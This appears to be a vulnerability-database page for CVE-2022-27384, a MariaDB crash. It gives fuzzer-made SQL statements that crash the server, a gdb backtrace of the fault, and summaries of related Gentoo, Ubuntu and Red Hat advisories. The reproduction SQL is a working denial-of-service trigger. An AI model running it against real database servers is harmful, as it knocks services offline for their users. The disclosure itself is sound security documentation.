Headline
CVE-2022-27384: [MDEV-26047] MariaDB server crash at Item_subselect::init_expr_cache_tracker
An issue in the component Item_subselect::init_expr_cache_tracker of MariaDB Server v10.6 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
Steps to reproduce:
CREATE TABLE v0 ( v1 INT PRIMARY KEY ) ;
INSERT INTO v0 VALUES ( ( ( 23695630.000000 ) ) NOT IN ( SELECT DISTINCT - ( 89 IN ( 127 , ‘x’ , NULL ) ) IN ( ‘x’ , 127 ) FROM v0 AS v2 WHERE v1 IS NOT NULL GROUP BY ( ( SELECT DISTINCT - ( ‘x’ IN ( 65 , NULL ) ) IN ( ‘x’ , -2147483648 ) AND ( SELECT NULL WHERE - ( 16 ) AND ( v1 IN ( ( ( v1 = v1 ) ) = ‘x’ ) ) = -2147483648 ) ) ) ORDER BY ( v1 = ‘x’ AND 84 ) OR ( v1 = 8 AND v1 = -1 ) ASC ) ) ;
CREATE TABLE v3 ( v4 INTEGER , v5 INT PRIMARY KEY , v6 VARCHAR ( 24 ) , v7 INT , v8 INT , v9 INT ) ;
INSERT INTO v3 ( v5 ) VALUES ( ( ( - ( ( ‘x’ IS NOT NULL ) ) ) ) ) , ( 55 BETWEEN - 80445159.000000 AND - ( ( ( SELECT DISTINCT v1 IN ( ( -1 IN ( ( SELECT DISTINCT - ( 58 IN ( ( -128 IN ( 54560735.000000 ) ) ) ) NOT IN ( ‘x’ , - ( ( 54 IN ( ( NULL IN ( ( SELECT v1 FROM v0 AS v12 WHERE - ( 99 ) AND v1 = 95 GROUP BY 89382485.000000 ) ) ) ) ) ) ) AS v11 ) ) ) = ‘x’ ) FROM v0 AS v10 WHERE v1 IS NOT NULL GROUP BY ‘x’ , 5612101.000000 ) ) ) ) ;
Backtrace:
Core was generated by `/home/supersix/fuzz/security/MariaDB/install/bin/mysqld --defaults-file=/home/s’.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0xb)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
[Current thread is 1 (Thread 0x7f0f26251300 (LWP 1437547))]
gdb-peda$ #0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0xb)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
#1 0x0000559d3cff698f in my_write_core (sig=sig@entry=0xb)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/stacktrace.c:424
#2 0x0000559d3ba63583 in handle_fatal_signal (sig=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/signal\_handler.cc:344
#3 <signal handler called>
#4 0x0000559d3be106ea in Item_subselect::init_expr_cache_tracker (
this=0x6290021eddb8, thd=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_lex.h:982
#5 0x0000559d3be108df in Item_singlerow_subselect::expr_cache_insert_transformer (this=0x6290021eddb8, tmp_thd=0x62b000070218, unused=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_subselect.cc:1389
#6 0x0000559d3bab3024 in Item::transform (this=<optimized out>,
thd=<optimized out>, transformer=<optimized out>, arg=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:610
#7 0x0000559d3bb7d48a in Item_cond::transform (this=<optimized out>,
thd=<optimized out>, transformer=&virtual table offset 1328,
arg=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:5135
#8 0x0000559d3b235270 in JOIN::setup_subquery_caches (this=0x62900222e478)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:4225
#9 0x0000559d3b31b21f in JOIN::optimize_stage2 (this=0x62900222e478)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:3065
#10 0x0000559d3b327252 in JOIN::optimize_inner (this=0x62900222e478)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:2477
#11 0x0000559d3b329eda in JOIN::optimize (this=this@entry=0x62900222e478)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:1807
#12 0x0000559d3b09fb28 in st_select_lex::optimize_unflattened_subqueries (
this=0x62b000079968, const\_only=const\_only@entry=0x0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_lex.cc:4936
#13 0x0000559d3b0643e5 in mysql_insert (thd=thd@entry=0x62b000070218,
table\_list=<optimized out>, fields=..., values\_list=...,
update\_fields=..., update\_values=..., duplic=<optimized out>,
ignore=<optimized out>, result=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_lex.h:982
#14 0x0000559d3b15ca9c in mysql_execute_command (thd=<optimized out>,
is\_called\_from\_prepared\_stmt=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:4568
#15 0x0000559d3b1188dd in mysql_parse (thd=0x62b000070218,
rawbuf=<optimized out>, length=<optimized out>,
parser\_state=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:8028
#16 0x0000559d3b14edb9 in dispatch_command (command=COM_QUERY,
thd=0x62b000070218, packet=<optimized out>, packet\_length=<optimized out>,
blocking=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1995
#17 0x0000559d3b153704 in do_command (thd=0x62b000070218,
blocking=blocking@entry=0x1)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1406
#18 0x0000559d3b61314d in do_handle_one_connection (connect=<optimized out>,
put\_in\_cache=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1410
#19 0x0000559d3b614807 in handle_one_connection (arg=arg@entry=0x608008ba4fb8)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312
#20 0x0000559d3c45fef0 in pfs_spawn_thread (arg=0x617000005b98)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201
#21 0x00007f0f481e3609 in start_thread (arg=<optimized out>)
at pthread\_create.c:477
#22 0x00007f0f47db7293 in clone ()
at ../sysdeps/unix/sysv/linux/x86\_64/clone.S:95
gdb-peda$ quit
Related news
Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
An update for galera, mariadb, and mysql-selinux is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via cert...
An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
MariaDB CONNECT Storage Engine Heap-based Buffer Overflow Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MariaDB. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of SQL queries. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-16190.